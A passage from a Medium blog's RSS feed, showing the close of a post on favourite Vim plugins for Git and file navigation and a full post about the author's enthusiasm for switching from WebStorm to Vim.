href="https://github.com/tpope/vim-fugitive">tpope/vim-fugitive</a>: I am using this for commit, pull/push and diff. With some colour coding for diff, it’s easier to edit between changes of files away from the HEAD.</li><li><a href="https://github.com/cohama/agit.vim">cohama/agit.vim</a>: For history/logs, I am current set for agit, since it has slightly better visual presentation than fugitive’s log. Unfortunately, agit does not come with diff for files on the log. I am still not able to find any plugin that show logs/history with diff of files. :(</li></ul><h4>Project/files navigation</h4><p>Able to jump around within a file or switching among files in a project inevitable for a coder, after all, we work on a lot of files! So we need some boosts.</p><ul><li><a href="https://github.com/ctrlpvim/ctrlp.vim">ctrlpvim/ctrlp.vim</a>：Quickly switching amount buffers(files) is a must. with the fuzzy file search and MRU (most recent used), I can jump to a file that I need to work on within 2–3 key strokes.</li></ul><p>There are still more plugins on my list, but above are the major ones, and others are small helper plugins, which contribute to the whole coding experience nonetheless. We could have another post to discuss those. ;)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6ab84bcc7dfa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Have you Vim-ed today?]]></title>
            <link>https://kenken17.medium.com/have-you-vim-ed-today-c0fd4520377f?source=rss-ba4fd956c54e------2</link>
            <guid isPermaLink="false">https://medium.com/p/c0fd4520377f</guid>
            <category><![CDATA[vim]]></category>
            <dc:creator><![CDATA[kenken17]]></dc:creator>
            <pubDate>Mon, 30 Apr 2018 14:05:55 GMT</pubDate>
            <atom:updated>2018-04-30T17:23:04.390Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Have you Vim-ed today?</blockquote><p>It becomes my daily question for all peers around me. Before they get pissed, I should keep bugging them until they try it out and start coding with it. :) This is my mission!</p><p>Recently I am <em>addicted</em> to <strong>Vim</strong>! Obviously.</p><p>If you are a coder/programmer like me, there must be a point of time when you told yourself: <em>This is it! I am going to sit down and start learning Vim and be awesome! </em>Then found out you gave up just before you finished thinking about it.</p><p>You hit some roadblocks; mentally and physically. Your mind, telling you that learning Vim has a steep up curve and your fingers, telling you that H, J, K, L keys are not meant for navigation, not even mentioned you have no idea how to start editing or <a href="https://stackoverflow.com/questions/11828270/how-to-exit-the-vim-editor">exit Vim</a>. So you gave up.</p><p>I had mine 3 years ago and I gave up.</p><p>Till last month, I stumble upon a video (forgot which video though) about Vim and started to think how could I replace my beloved IDE — WebStorm with Vim. This is purely coming out from curiosity.</p><p>I know by heart that Vim would never ever replace WebStorm, because you can’t replace apple with orange. Vim, by itself is not an IDE, just an editor! I know I need GUI for resolving conflicts, I need GUI for my Git history and my soup of shortcuts for coding; features that I have been using for years and burnt deeply into my muscle memory.</p><blockquote>Could it be possible switching out WebStorm and replace with Vim?</blockquote><p>Yes, and no.</p><p>Yes, I can ditch WebStorm and start coding in Vim from now.</p><p>No, because there will be no more GUI for resolving conflicts, no more GUI for Git history, and no more point-and-click with your mouse. You will be learning new ways for resolving conflicts, new ways to look at your Git log, and new ways to code!</p><p>Since last month, I have been proactively paying attention to articles/screencasts that related to Vim. I have been watching and learning bit by bit about Vim, and how can I get benefits out of Vim that WebStorm or other IDE/editor can’t provide.</p><p>I was not fully convinced at first.</p><p>Surprisingly, the more I mess with it, the more I get hooked. You will feel that you have learnt something new every time you finish a <em>Vim session</em>. It’s like magic! It’s like learning martial art, day by day, bit by bit, you improve and refine your coding Kung-fu.</p><p>I hope I could tell you how much I feel contented and satisfied about this but I cant. You need to try it and let the feeling sink to your heart~</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c0fd4520377f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>